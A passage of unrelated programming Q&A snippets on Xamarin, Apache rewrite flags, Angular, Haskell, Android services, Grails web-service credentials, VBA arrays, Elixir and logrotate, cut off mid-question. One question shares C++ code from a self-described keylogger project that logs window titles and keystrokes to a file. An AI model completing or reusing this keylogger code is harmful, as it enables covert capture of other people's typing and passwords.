    public class CustomNavigationPageRenderer : NavigationPageRenderer
    {
        private Android.Support.V7.Widget.Toolbar _toolbar;

        public override void OnViewAdded(Android.Views.View child)
        {
            base.OnViewAdded(child);

            if (child.GetType() == typeof(Android.Support.V7.Widget.Toolbar))
            {
                _toolbar = (Android.Support.V7.Widget.Toolbar)child;
                _toolbar.ChildViewAdded += Toolbar_ChildViewAdded;
            }
        }

        protected override void Dispose(bool disposing)
        {
            base.Dispose(disposing);

            if (disposing)
            {
                _toolbar.ChildViewAdded -= Toolbar_ChildViewAdded;
            }
        }

        private void Toolbar_ChildViewAdded(object sender, ChildViewAddedEventArgs e)
        {
            var view = e.Child.GetType();

            if (e.Child.GetType() == typeof(Android.Widget.TextView))
            {
                var textView = (Android.Widget.TextView)e.Child;
                var spaceFont = Typeface.CreateFromAsset(Forms.Context.ApplicationContext.Assets, "Montserrat-SemiBold.ttf");
                textView.Typeface = spaceFont;
                _toolbar.ChildViewAdded -= Toolbar_ChildViewAdded;
            }
        }
    }
}

Warning:
'NavigationPageRenderer.NavigationPageRenderer()' is obsolete: 'This constructor is obsolete as of version 2.5. Please use NavigationPageRenderer(Context) instead.

Exception Thrown:
(at 'LoadApplication(new App())' in 'MainActivity' Class")
System.ArgumentException: 'element is not of type Xamarin.Forms.NavigationPage
Parameter name: element'

A: Can you please try this. In your page that you want to change title font and after adding your custom fonts, Add this to the xaml. change the FontFamily to the font you want.
<NavigationPage.TitleView>
    <StackLayout>
        <Label FontFamily=""/>
    </StackLayout>
</NavigationPage.TitleView>


text:
Q: htaccess [b] tag This line of code works fine on my old server:
RewriteRule ^([^/\.]+)/?$ index.php?promo=$1 [L,B]

But on the new server, i figured out that the 'B' at the end causes error 500, thus NOTHING works
So i have to do this:
RewriteRule ^([^/\.]+)/?$ index.php?promo=$1 [L]

The thing is that I really need that B. Does anyone know whats going on here?
Is this an apache version thing or something?
Also, what is the term for this feature? I think its called a B flag, but im not 100% sure about that.
Any advice would be appreciated

A: [B] didn't get added to Apache until 2.2.7.  So if you are only upgrading from 2 to 2.2.x where x < 7, then that'd explain things.


text: Q: Что использовать для создания кастомных View с динамической прорисовкой? Собираюсь создать кастомный View в котором будет что то вроде анимированной прорисовки. Что лучше использовать для этого SurfaceView или Обычный View с прицепленным AsyncTask(который и будет вызывать прорисовку в нужный момент времени)


text:
Q: Cannot find a differ supporting object '[object Object]' of type 'object'. NgFor only supports binding to Iterables such as Arrays. at My Html code

      {{f.title}}

My Ts code

mOrder: Order[]=[];

readOrdersFromServer() {
    console.log("readOrdersFromServer called");

    this.firestore.collection('orders').snapshotChanges().take(1).subscribe(data => {
      data.map(e => {
        console.log(e.payload.doc.id);

       this.mOrder.push(e.payload.doc.data() as Order);
       console.log("order itrems2 "+(e.payload.doc.data() as Order).items[0].title.toString());

      });
    });
  }

  class Address{
      name;mobile;address;city;
    }
    class Order{
      address:Address;
      created;
      items:OrderItem[]=[];
    }
    class OrderItem{
      action;title;fee;
    }

but this is showing this error

core.js:12301 ERROR Error: Cannot find a differ supporting object
  '[object Object]' of type 'object'. NgFor only supports binding to
  Iterables such as Arrays.
      at

When i try this code it is working
{{itemObj.items[0].title}}

Which means it contain value and it is an array but don't no why it is showing error

 Thank you for supporting and I solved this issue

A: mOrders$: Observable<Order[]>;

...

readOrdersFromServer() {
  console.log("readOrdersFromServer called");
  this.mOrders$ = this.firestore.collection('orders')
  .valueChanges()
  .pipe(first());

}

...
<ng-container *ngIf="mOrders$ | async as mOrders">

      {{f.title}}

</ng-container>

Since you're not looking for the I'd of the document, I changed the method to valueChanges(). Plus, to avoid memory leaks I set a new variable called mOrders$ which will observe for Order[] (and will subscribe in the template, therefore it will be completed when the component will be destryoed). In the HTML, I've added *ngIf to to run only when the Observable returns something truthy.


text:
Q: Diff-in-Diff controls useless, when not varying over time? I am reading a paper with a Diff-in-Diff approach of the form (where i is the individual and t is the time period):
$y_{it} = a + b_1 * \operatorname{treatment}_i + b_2 * \operatorname{during}_t + b_3 * \operatorname{during}_t * \operatorname{treatment}_i + b_4 \operatorname{control variable}_t + e_{it}$
The control variable varies in different specifications and the coefficient "$b_3$" varies with these control variables which only vary over time.
I am puzzled. I also simulated data and I believe the coefficient $b_3$ should not vary if the control variable does not vary between treatment and control. Am I missing something?


text:
Q: Does ASP.NET Web API / SQL Server support consistency transaction on XML file? Sorry this might be a very simple question,
I can't find anywhere give me a sure answer,
and I'm very new to the database management system,
so please give me a short guide.

Does SQL Server support consistency transaction on XML? (I'm using ASP.NET Web API)

In my use case, the entity Project has an attribute TaskTree,
which saves the concrete task structure of the Project.
The datatype of TaskTree is XML.  (umm, I'm also wondering how I pass a  xml within JSON response...)
So the main problem is:
For short:

Any of the modification request to the TaskTree need a long time to modify XML file.
  If there are many people request to modify the TaskTree at the same time,
  Can all the input/output to the XML file be consistent in SQL SERVER?

Thanks.


text:
Q: Remove auto generate button in Humberger menu of Xamarin.Forms Shell using Shell.FlyoutHeader I have started learning Xamarin Forms Shell. I've create my first app using Shell and add sample Home Page. In my AppShell Page I've add  and Shell.FlyoutHeader contains only boxview. When I run the application and click the Humberger Menu, there is additional button or Label(I'm not sure) that I didn't include in my FlyoutHeader Page. Please help me to remove that additional button. Thanks!
Shell Code:
<Shell xmlns="http://xamarin.com/schemas/2014/forms"
             xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
             x:Class="XamShell.Views.ListOfProductsPage"
             Visual="Material"
             xmlns:local="clr-namespace:XamShell.Views"
             FlyoutBehavior="Flyout"
             xmlns:controls="clr-namespace:XamShell.Controls"
             Routing.Route="ProductList">

    <Shell.FlyoutHeader>
        <controls:FlyoutHeader/>
    </Shell.FlyoutHeader>

    <local:HomePage />
</Shell>

FlyoutHeader
<Grid BackgroundColor="White">
        <BoxView
               BackgroundColor="Yellow"
               Opacity="0.6" />
        <Label Text="Animals"
               TextColor="Red"
               FontAttributes="Bold"
               HorizontalTextAlignment="Center"
               VerticalTextAlignment="Center" />
    </Grid>

enter image description here

A: Do you want to achieve the result like following GIF.

If so, First of all, Please refer to this screenshot.

Please If you want to remove these button, please make sure your AppShell.xaml AppShell.xaml.cs file did not include the FlyoutItem and <views:XXXPage IconImageSource="XXX.png" /><views:XXX IconImageSource="XXXX.png" /> like this link
https://learn.microsoft.com/en-us/xamarin/xamarin-forms/app-fundamentals/shell/flyout#flyout-items
But I suggest you to create a new project.
Create a new shell file like following code.
MainPage.xaml
  <?xml version="1.0" encoding="utf-8" ?>
  <Shell xmlns="http://xamarin.com/schemas/2014/forms"
         xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
         xmlns:local="clr-namespace:SearchListDemo"
         xmlns:controls="clr-namespace:SearchListDemo.Controls"

   Navigating="OnNavigating"
   Navigated="OnNavigated"
   x:Class="SearchListDemo.MainPage">

<Shell.FlyoutHeader>
    <controls:FlyoutHeader/>
</Shell.FlyoutHeader>

<local:HomePage/>

</Shell>

MainPage.xaml.cs
     [DesignTimeVisible(true)]
public partial class MainPage : Shell
{
    public Dictionary<string, Type> Routes { get { return routes; } }
    Dictionary<string, Type> routes = new Dictionary<string, Type>();
    public MainPage()
    {
       InitializeComponent();

        RegisterRoutes();

    }

    void RegisterRoutes()
    {
        routes.Add("homwpage", typeof(HomePage));

        foreach (var item in routes)
        {
            Routing.RegisterRoute(item.Key, item.Value);
        }
    }
    void OnNavigating(object sender, ShellNavigatingEventArgs e)
    {

    }

    void OnNavigated(object sender, ShellNavigatedEventArgs e)
    {
    }

}

regist SetFlag before Xamarin.Forms.Forms.Init(e) in the MainActivity.cs
Xamarin.Forms.Forms.SetFlags("Shell_Experimental");


text:
Q: I have a problem with the following haskell code I don't know what is wrong with the code. I have just started coding in Haskell so sorry for the trouble.
tobase :: Int -> Int -> [Int]

tobase b x = tobase b (x `quot` b) : [x `mod` b]
tobase b x | x `mod` b == x = [x]

  Couldn't match expected type '[Int]' with actual type 'Int'
  In the expression: x `mod` b
  In the second argument of '(:)', namely '[x `mod` b]'
  In the expression: tobase b (x `quot` b) : [x `mod` b]

A: As Willem has already indicated, the reason for the error is that you are trying to combine values of the wrong type via the "cons" operator (:).
This operator's signature is (:) :: a -> [a] -> [a] , not (:) :: [a] -> [a] -> [a], which is what your call is attempting.
Your tobase function returns type [Int], and it's the first argument passed to the : operator. Since the type variable a in (:) :: a -> [a] -> [a] has this [Int] type in your invocation, the compiler expects the second argument to be [[Int]]. However you are passing in [x `mod` b] which is of type [Int].
Instead of using : you can use ++ to combine the two lists.
As also noted, the pattern matching order in your function definition should be reversed because the second case tobase b x | x `mod` b == x = [x] will never be reached. See http://learnyouahaskell.com/syntax-in-functions


text:
Q: Android intent service is finished after start I have this Intent service:
    public class MyIntentService extends IntentService {
    public static final String TAG = "MyIntentService";

    private TimerTask timerTask;
    private Timer timer;

    public MyIntentService() {
        super("MyIntentService");
    }

    public static void startService(Context context) {
        Log.d(TAG, "startService: ");
        Intent intent = new Intent(context, MyIntentService.class);
        context.startService(intent);
    }

    @Override
    public void onCreate(){
        super.onCreate();
        Log.d(TAG, "onCreate: ");
        timer = new Timer();
        timerTask = new TimerTask() {
            @Override
            public void run() {
                Log.d(TAG, "run: service");
            }
        };
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        Log.d(TAG, "onDestroy: ");
        timer.cancel();
    }

    @Override
    protected void onHandleIntent(Intent intent) {
        Log.d(TAG, "onHandleIntent: ");
        timer.scheduleAtFixedRate(timerTask, 0, 5000);
    }
}

When I called function startService from activity with MyIntentService.startService(getApplicationContext());, service is started but immediatelly ended.
2022-05-04 15:24:58.449 6809-6809/myapplication D/MyIntentService: startService:
2022-05-04 15:24:58.465 6809-6809/myapplication D/MyIntentService: onCreate:
2022-05-04 15:24:58.466 6809-6838/myapplication D/MyIntentService: onHandleIntent:
2022-05-04 15:24:58.467 6809-6839/myapplication D/MyIntentService: run: service
2022-05-04 15:24:58.467 6809-6809/myapplication D/MyIntentService: onDestroy:

When I remove timer.cancel(); from destructor, timer continue to work, but service looks dead. I thaught that service is ended by calling stop service - so why is ended in this case?
Thank you very much
D

A: Once onHandleIntent() returns,  your service will be shut down. IntentService is not only deprecated, but it is not suitable for your use case.
Use a regular Service as a foreground service if you feel that you need to do work every five seconds (and be prepared for problems, since Google, device manufacturers, and users all do not like apps that try to do work every five seconds and all will take steps to stop you, to save on battery life).


text:
Q: Android OS back button takes me back to Expo projects screen Firstly, I have a React Native app built using Expo and utilising React Navigation for routing.
I'm using a SwitchNavigator to switch between two stack navigators which represent my authorisation workflow (my screens before I've logged in) and my app workflow (the screens after I've logged in) and it looks something like this.
const AppStack = createStackNavigator({ Home: HomeScreen, Second: SecondScreen, HouseDetail: HouseDetailScreen, Camera: CameraScreen}
);
const AuthStack = createStackNavigator({ Login: LoginScreen }
);

export default createSwitchNavigator(
  {
    AuthLoading: AuthLoadingScreen,
    App: AppStack,
    Auth: AuthStack,
  },
  {
    initialRouteName: 'AuthLoading'

  }
);

My problem is that the behaviour of the back button in Android does not behave properly.
Here is a scenario. I've just logged in, and I'm in the App stack's HomeScreen page. I will navigate to the SecondScreen using
this.props.navigation.navigate('Second')

At this point, I would imagine that if I hit the back button, I should go back to the HomeScreen.
However, when I press the back button (the one built into the OS), I get taken out of my app and into the Expo projects list.
If I run this.props.navigation.goBack() though, then it works as expected and I'm back at the home screen.
Why is this happening? Is this an Expo thing?

A: Ok, so this was hours of time I'll never get back.
Turns out this is an issue with the latest version of Firebase.
https://github.com/react-navigation/react-navigation/issues/1603
The solution is to downgrade to 5.0.3 and this worked for me.


text:
Q: Can I prove that Cardinality of the set of all maximum point (for any function $\mathfrak{f}$) is countable or finite by Reductio ad absurdum I will write my proof in  short words:
If I write that ths set of maximum points is uncountable so if I have a Polynomial function of n degree so the Polynomial function derivative could have a root with a transcendental number and that is an absurdity.
So this is way the set of all maximum point is countable or finite.
It is a correct proof ?
Thanks

A: Here is an example of a nonconstant continuous  function with uncountably many  local minima. It's construction follows the construction of the Cantor set.
Begin with $f_0(x):=0$ $\,(0\leq x\leq 1)$. Then replace $f$ in the middle third of $[0,1]$ by a parabolic arc:
$$f_1(x):=\cases{\Bigl({2\over3}-x\Bigr)\Bigl(x-{1\over3}\Bigr) &$\quad\Bigl({1\over3}<x<{2\over3}\Bigr)$ \cr f_0(x)&$\quad$ (else)\cr}\qquad,$$
and repeat this middle third replacement ad infinitum.
The resulting function $f$ has value $0$ at all points of the Cantor set (which is uncountable) and is positive otherwise. In any neighborhood of a  point $x_0$ where $f$ takes a local  minimum  there are  points where the function is actually greater than at $x_0$.


text:
Q: How to provide dynamic credentials (username and password) to web service using Grails-cxf plugin I am using this awesome plugin, http://grails.org/plugin/cxf-client,  to consume a contract-first web service with security.
So I already have something like this in my config:
 cxf {
   client {
    cybersourceClient {
        clientInterface = com.webhost.soapProcessor
        serviceEndpointAddress = "https://webhost/soapProcessor"
        wsdl = "https://webhost/consumeMe.wsdl"
        secured = true
        username = "myUname"
        password = "myPwd"
    }
}

This works really well, but what I'd like to do now is to provide my users the ability to enter a username and password so they can enter their username and password to consume the service. Does anyone know how to do this?
I suspect that it's using a Custom In Interceptor as in the demo project:
package com.cxf.demo.security

import com.grails.cxf.client.CxfClientInterceptor

import org.apache.cxf.ws.security.wss4j.WSS4JOutInterceptor
import org.apache.ws.security.WSPasswordCallback
import org.apache.ws.security.handler.WSHandlerConstants

import javax.security.auth.callback.Callback
import javax.security.auth.callback.CallbackHandler
import javax.security.auth.callback.UnsupportedCallbackException

class CustomSecurityInterceptor implements CxfClientInterceptor {

String pass
String user

   WSS4JOutInterceptor create() {
    Map<String, Object> outProps = [:]
    outProps.put(WSHandlerConstants.ACTION, org.apache.ws.security.handler.WSHandlerConstants.USERNAME_TOKEN)
    outProps.put(WSHandlerConstants.USER, user)
    outProps.put(WSHandlerConstants.PASSWORD_TYPE, org.apache.ws.security.WSConstants.PW_TEXT)
    outProps.put(WSHandlerConstants.PW_CALLBACK_REF, new CallbackHandler() {

        void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
            WSPasswordCallback pc = (WSPasswordCallback) callbacks[0]
            pc.password = pass
            pc.identifier = user
        }
    })

    new WSS4JOutInterceptor(outProps)
}
}

But as I don't instantiate this interceptor, or understand how it's instantiated, I do not know how I can get the user's credentials used in the interceptor.
Does anyone know how to do this / have any sample code?
Thanks!

A: Assuming you're using the Spring Security plugin, and the WS credentials you want to use are properties of your User domain object, then something like this should work (untested):
src/groovy/com/cxf/demo/security/CustomSecurityInterceptor.groovy
package com.cxf.demo.security

import com.grails.cxf.client.CxfClientInterceptor

import org.apache.cxf.ws.security.wss4j.WSS4JOutInterceptor
import org.apache.ws.security.WSPasswordCallback
import org.apache.ws.security.handler.WSHandlerConstants

import javax.security.auth.callback.Callback
import javax.security.auth.callback.CallbackHandler
import javax.security.auth.callback.UnsupportedCallbackException

class CustomSecurityInterceptor implements CxfClientInterceptor {

   def springSecurityService
   def grailsApplication

   WSS4JOutInterceptor create() {
    Map<String, Object> outProps = [:]
    outProps.put(WSHandlerConstants.ACTION, org.apache.ws.security.handler.WSHandlerConstants.USERNAME_TOKEN)
    // take default username from config
    outProps.put(WSHandlerConstants.USER, grailsApplication.config.cxf.client.cybersourceClient.username)
    outProps.put(WSHandlerConstants.PASSWORD_TYPE, org.apache.ws.security.WSConstants.PW_TEXT)
    outProps.put(WSHandlerConstants.PW_CALLBACK_REF, new CallbackHandler() {

        void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
            WSPasswordCallback pc = (WSPasswordCallback) callbacks[0]
            // take password from current user, fall back to config if no
            // user currently logged in/not in a request thread, etc.
            pc.password = (springSecurityService.currentUser?.wsPassword
               ?: grailsApplication.config.cxf.client.cybersourceClient.password)
        }
    })

    new CustomWSS4JOutInterceptor(springSecurityService, outProps)
  }
}

class CustomWSS4JOutInterceptor extends WSS4JOutInterceptor {
  def springSecurityService

  CustomWSS4JOutInterceptor(springSecurityService, outProps) {
    super(outProps)
    this.springSecurityService = springSecurityService
  }

  // overridden to fetch username dynamically from logged in user
  // but fall back on config if no user/not on a request hander thread
  public Object getOption(String key) {
    if(key == WSHandlerConstants.USER && springSecurityService.currentUser?.wsUser) {
      return springSecurityService.currentUser?.wsUser
    } else return super.getOption(key)
  }
}

grails-app/conf/spring/resources.groovy
import com.cxf.demo.security.CustomSecurityInterceptor
beans = {
  customSecurityInterceptor(CustomSecurityInterceptor) {
    springSecurityService = ref('springSecurityService')
    grailsApplication = ref('grailsApplication')
  }
}

and in the configuration, replace secured = true with securityInterceptor = 'customSecurityInterceptor'
The same pattern will work if you're not using Spring Security.  The crucial bits are the callback handler
            pc.password = (springSecurityService.currentUser?.wsPassword
               ?: grailsApplication.config.cxf.client.cybersourceClient.password)

and the username logic in getOption
    if(key == WSHandlerConstants.USER && springSecurityService.currentUser?.wsUser) {
      return springSecurityService.currentUser?.wsUser

For example, if the username and password are stored in the HTTP session then instead of the springSecurityService you could use the Spring RequestContextHolder, whose static getRequestAttributes() method returns the GrailsWebRequest being handled by the current thread, or null if the current thread is not processing a request (e.g. if it's a background job).
RequestContextHolder.requestAttributes?.session?.wsUser

Or if they're request attributes (i.e. you've said request.wsUser = 'realUsername' in the controller) you could use RequestContextHolder.requestAttributes?.currentRequest?.wsUser.

A: Here's a generic answer for anyone else:
1. Config.groovy
cxf {
    client {

        nameOfClient {
            clientInterface = com.webhost.soapProcessor
            serviceEndpointAddress = "https://webhost/soapProcessor"
            wsdl = "https://webhost/soapProcessorconsumeMe.wsdl"
            secured = true
            securityInterceptor = "nameOfSecurityInterceptorBean"
        }
    }
}

2. Resources.groovy
import com.company.package.MySecurityInterceptor

beans = {

nameOfSecurityInterceptorBean(MySecurityInterceptor) {
}

}

3. Create a MySecurityInterceptor under com.company.package
package com.company.package;

import com.grails.cxf.client.CxfClientInterceptor

import org.apache.cxf.ws.security.wss4j.WSS4JOutInterceptor
import org.apache.ws.security.WSPasswordCallback
import org.apache.ws.security.handler.WSHandlerConstants

import javax.security.auth.callback.Callback
import javax.security.auth.callback.CallbackHandler
import javax.security.auth.callback.UnsupportedCallbackException

import org.springframework.web.context.request.RequestContextHolder

class MySecurityInterceptor implements CxfClientInterceptor {

WSS4JOutInterceptor create() {
    Map<String, Object> outProps = [:]
    outProps.put(WSHandlerConstants.ACTION, org.apache.ws.security.handler.WSHandlerConstants.USERNAME_TOKEN)
    outProps.put(WSHandlerConstants.USER, user)
    outProps.put(WSHandlerConstants.PASSWORD_TYPE, org.apache.ws.security.WSConstants.PW_TEXT)
    outProps.put(WSHandlerConstants.PW_CALLBACK_REF, new CallbackHandler() {

                void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
                    WSPasswordCallback pc = (WSPasswordCallback) callbacks[0]
                    def requestObj = RequestContextHolder.requestAttributes?.currentRequest
                    pc.password = requestObj.soapPassword
                    pc.identifier = requestObj.soapIdentifier
                }
            })

    new WSS4JOutInterceptor(outProps)
}
}

4. Now we need to put the username and password in the request (thread-safe) to be pulled out by the interceptor:
    import com.company.package.MySecurityInterceptor
    class MySoapSendingController {

    SoapProcessor nameOfClient

    def index() {

    request['soapIdentifier'] = "usernameToUse"
    request['soapPassword'] = "passwordToUse"

                 ...

        ReplyMessage replyMsg = nameOfClient.makeSOAPRequest(request)
       }
    }


text:
Q: Error C4703 potentially uninitialized local pointer variable 'layout' used I am new to C++ and coding and i=this is code which i have borrowed online, and was able to solve other problems except for this one, i think its because of optimization,or some code writing error, please help.
HKL layout, is there.
HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout; // HERE
    if (foreground) {
        //get keyboard layout of the thread
        threadID = GetWindowThreadProcessId(foreground, NULL);
        layout = GetKeyboardLayout(threadID); // HERE
    }

if (foreground)
{
    char window_title[256];
    GetWindowText(foreground, window_title, 256);

    if(strcmp(window_title, lastwindow)!=0) {
        strcpy(lastwindow, window_title);

        // get time
        time_t t = time(NULL);
        struct tm *tm = localtime(&t);
        char s[64];
        strftime(s, sizeof(s), "%c", tm);

        OUTPUT_FILE << "\n\n[Window: "<< window_title << " - at " << s << "] ";
    }
}

std::cout << key_stroke << '\n';

if (key_stroke == VK_BACK)
    OUTPUT_FILE << "[BACKSPACE]";
else if (key_stroke == VK_RETURN)
    OUTPUT_FILE <<  "\n";
else if (key_stroke == VK_SPACE)
    OUTPUT_FILE << " ";
else if (key_stroke == VK_TAB)
    OUTPUT_FILE << "[TAB]";
else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
    OUTPUT_FILE << "[SHIFT]";
else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
    OUTPUT_FILE << "[CONTROL]";
else if (key_stroke == VK_ESCAPE)
    OUTPUT_FILE << "[ESCAPE]";
else if (key_stroke == VK_END)
    OUTPUT_FILE << "[END]";
else if (key_stroke == VK_HOME)
    OUTPUT_FILE << "[HOME]";
else if (key_stroke == VK_LEFT)
    OUTPUT_FILE << "[LEFT]";
else if (key_stroke == VK_UP)
    OUTPUT_FILE << "[UP]";
else if (key_stroke == VK_RIGHT)
    OUTPUT_FILE << "[RIGHT]";
else if (key_stroke == VK_DOWN)
    OUTPUT_FILE << "[DOWN]";
else if (key_stroke == 190 || key_stroke == 110)
    OUTPUT_FILE << ".";
else if (key_stroke == 189 || key_stroke == 109)
    OUTPUT_FILE << "-";
else if (key_stroke == 20)
    OUTPUT_FILE << "[CAPSLOCK]";
else {
    char key;
    // check caps lock
    bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

    // check shift key
    if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
        lowercase = !lowercase;
    }

    //map virtual key according to keyboard layout
    **key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);**

    //tolower converts it to lowercase properly
    if (!lowercase) key = tolower(key);
    OUTPUT_FILE <<  char(key);

help getting solved this code, already defined nullptr, worked but output is showing, in digit, since its my keylogger project its not showing actual keystrokes, just digits.

A: The problem is that layout is only given a value in if. You should add an itializer where it is declared to make the warning go away, or to an else so that the compiler can deduce that it will not be used unititalized.


text:
Q: redimension multidimensional arrays in Excel VBA Take a look at the following code.  What my problem is is that I can't figure out how to redimension the n integer and the b integer.  What I'm doing is the array sent1 is already working and it is populated with about 4 sentences.  I need to go through each sentence and work on it but I'm having trouble.
dim sent1()
dim sent2()

dim n as integer, b as integer, x as integer
dim temp_sent as string
b = 0
For n = 1 to ubound(sent1)

temp_sent = sent1(n)
    for x = 1 to len(temp_sent1)
    code
    if a then
        b = b + 1
        '**THIS IS THE PART OF THE CODE THAT IS NOT WORKING**
        redim preserve sent2(1 to ubound(sent1), b)
        sent2(n,b) = [code]
    next
next

A: There are two issues in your code:

*

*When you Dim an array without specifying the lower bound it will by default be 0 based (unless you have specified Option Base 1).  When explicitly specified, lower bound can be any number, not just 0 or 1

*For a multi dimensioned array, Redim Preserve can only change the last dimension, and then only the upper bound.

In general, I find it better to always specify Lower and Upper bounds, eg
Redim MyArray(1 to 10, 0 to 99)

A: Is there any specific reason why you want to / must use arrays?
If not, I'd suggest using collections instead. You can also have nested collections, e.g.
Dim dimension1 As New Collection
Dim dimension2 AS New Collection

dimension1.Add dimension2

etc.
That way, you won't have to worry about increasing dimensions manually at all. If you need to convert it back to a 2D Array, you can do sth like this in the end
Dim item AS Variant
Dim subCollection AS Collection

Dim nRows AS Integer
Dim nCols AS integer

' assuming "col" is your jagged collection

nRows = col.Count
For Each item in col
  If TypeOf item is Collection
    Set subCollection = item
    If subCollection.Count > nCols Then
      nCols = subCollection.Count
    End If
  Next item
Next item

Dim result(nRows, NCols) As Variant

' Now loop through the collections again and fill the result array

A: The problem that you have is that you cannot change the rank (dimensions) of an array with a redim statement.
dim sent() creates a 1-rank array, redim sent2(x, y) assumes a 2-rank array. Try dim sent(,).
Also, it will improve performance (and code robustness) if you use
dim sent1() as string
dim sent2(,) as string

A: In case anyone has this problem here is how I solved it:
<code>
Function find_sentences_complex(instring As String) As Variant

Dim xorr As String: xorr = ChrW(&H22BB)
Dim triple_bar As String: triple_bar = ChrW(&H2261)
Dim idisj As String: idisj = ChrW(&H2228)
Dim cond As String: cond = ChrW(&H2192)
 Dim x As Integer, y As Integer, z As Integer, b As Integer
Dim total As Integer, paren_closure As Integer, marker As Boolean
 Dim n As Integer

Dim sent1() As Variant, sent3() As Variant

'Dim final1d As Integer, final2d As Integer
Dim b_arr() As Integer
Dim b_max As Integer

   Dim temp_string As String

        For x = InStr(instring, "(") To Len(instring) Step 1

           temp_string = Mid(instring, x, 1)

            If Mid(instring, x, 1) = "(" Then

                If marker = False Then
                z = x
                marker = True
                End If

            total = total + 1
            ElseIf Mid(instring, x, 1) = ")" Then
            total = total - 1

                If total = 0 Then
                marker = False
                b = b + 1
                paren_closure = x
                ReDim Preserve sent1(b)
                sent1(b) = Mid(instring, z, (x - z) + 1)
                End If
            End If
        Next

 Dim temp_sent1 As String
total = 0
marker = False

b = 0

Dim sent2()
ReDim sent2(UBound(sent1), 5)

 For n = 1 To UBound(sent1)
 temp_sent1 = sent1(n)
 temp_sent1 = Mid(temp_sent1, 2, Len(temp_sent1) - 2)
 b = 0
    For x = 1 To Len(temp_sent1)

           temp_string = Mid(instring, x, 1)

            If Mid(temp_sent1, x, 1) = "(" Then

                If marker = False Then
                z = x
                marker = True
                End If

            total = total + 1
            ElseIf Mid(temp_sent1, x, 1) = ")" Then
            total = total - 1

                If total = 0 Then
                marker = False
                b = b + 1
                paren_closure = x
                'ReDim Preserve sent2(n, b)

                sent2(n, b) = Mid(temp_sent1, z, (x - z) + 1)

                End If
            End If
        Next

        'this part of the code redimensions the side of the array

        ReDim Preserve b_arr(n)
        b_arr(n) = b

Next

b_max = MaxValOfIntArray(b_arr)
ReDim Preserve sent2(UBound(sent1), b_max)

End Function

Public Function MaxValOfIntArray(ByRef TheArray As Variant) As Integer
'This function gives max value of int array without sorting an array
Dim i As Integer
Dim MaxIntegersIndex As Integer
MaxIntegersIndex = 0

For i = 1 To UBound(TheArray)
    If TheArray(i) > TheArray(MaxIntegersIndex) Then
        MaxIntegersIndex = i
    End If
Next
'index of max value is MaxValOfIntArray
MaxValOfIntArray = TheArray(MaxIntegersIndex)
End Function
</code>


text:
Q: What does `runtime: false` mean in the Mixfile dependencies? From the mix deps documentation:

:runtime - whether the dependency is part of runtime applications.
  If the :applications key is not provided in def application in
  your mix.exs file, Mix will automatically included all dependencies as
  a runtime application, except if runtime: false is given. Defaults
  to true.

According to mix compile.app docs:

:applications - all applications your application depends on at
  runtime. By default, this list is automatically inferred from your
  dependencies. Mix and other tools use the application list in order to
  start your dependencies before starting the application itself.

Does this mean that adding runtime: false to a dependency would make it not started as part of the application's supervision tree, but its functions would be available at compile-time?

A: Like you mentioned, that's exactly the case. Marking a dependency runtime: false will not start it as part of the application supervision tree when your main application is started.
Before Elixir 1.4 we had to individually specify the applications that needed to be started by putting them in applications:
def application do
  [applications: [:logger, :bamboo]]
end

Now we use extra_applications instead and mark the specific dependencies runtime: false to remove them from the applications list at runtime.


text:
Q: Failed to start Rotate log files Each my syslog file (and each new syslog) begins from this strings:
localhost rsyslogd: [origin software="rsyslogd" swVersion="8.2001.0" x-pid="451" x-info="https://www.rsyslog.com"] rsyslogd was HUPed
localhost systemd[1]: logrotate.service: Main process exited, code=exited, status=1/FAILURE
localhost systemd[1]: logrotate.service: Failed with result 'exit-code'.
localhost systemd[1]: Failed to start Rotate log files.

I have ubuntu 20 as VM on google cloud.
How fix this errors? Thanks.
upd: output for systemctl status logrotate.service
● logrotate.service - Rotate log files
     Loaded: loaded (/lib/systemd/system/logrotate.service; static; vendor preset: enabled)
     Active: inactive (dead)
TriggeredBy: ● logrotate.timer
       Docs: man:logrotate(8)
             man:logrotate.conf(5)

A: If you have your Litespeed logs in a location outside of /var/log, then the log rotation service will not have write access to the files that need to rotate. You have two options to choose from:

*

*Move your Litespeed logs to a directory in /var/log, such as /var/log/litespeed

*Update the logrotate.service file so the service can work with the log directory

Option 1 is pretty straightforward, so let's just look at the second item. This is how you can update the logrotate.service file:

*Open Terminal (if it's not already open)

*Open the logrotate.service file as root:
sudo vi /lib/systemd/system/logrotate.service

Note: Feel free to use a different editor if you prefer.

*Add the following line to the end of the file:
ReadWritePaths=/usr/local/lsws/logs

*Save the file

*Restart the logrotate service:
sudo systemctl daemon-reload && systemctl start logrotate

Note: There is no output to this command.

Why?
In the logrotate.service file is a line that reads ProtectSystem=full. When ProtectSystem is set as full it will mount everything as readonly except the directory where logs are stored on the system, such as /var/log. By adding additional directories via ReadWritePaths you allow the service to use those locations without limitations.
If you're really interested in learning more about this, the documentation breaks everything down in detail ... though it is a rather dry read.


text:
Q: Lots of unnecessary and repititious output in clisp when I paste in new functions I just started using clisp again (after about 20 years). Now, I get the following text after it displays EACH line when I paste in a new function:
You are in the top-level Read-Eval-Print loop.
Help (abbreviated :h) = this list.
Use the usual editing capabilities.

Generally, the function still works. This happens even when I start with a fresh copy of clisp. How can I get clisp to stop this seemingly unnecessary output? I thought that it should take in the entire function and then let me know if it found errors. It does this even when there are no errors.

A: The code you paste probably contains Tab characters.
PS. You now owe me 10 zorkmids.


text:
Q: How to fetch records multiple times from same row till column is null in oracle I need a solution to the below problem to retrieve records in oracle
Table: EMPLOYEE
EMPID  EMPNAME COMPANY1 COMPANY2 COMPANY3 COMPANY4
111      AAA    TCS
222      BBB    CTS      WIPRO
333      CCC    CGI      INFY     TECHM    GOOGLE

My result set should be like this:
111 AAA TCS
222 BBB CTS
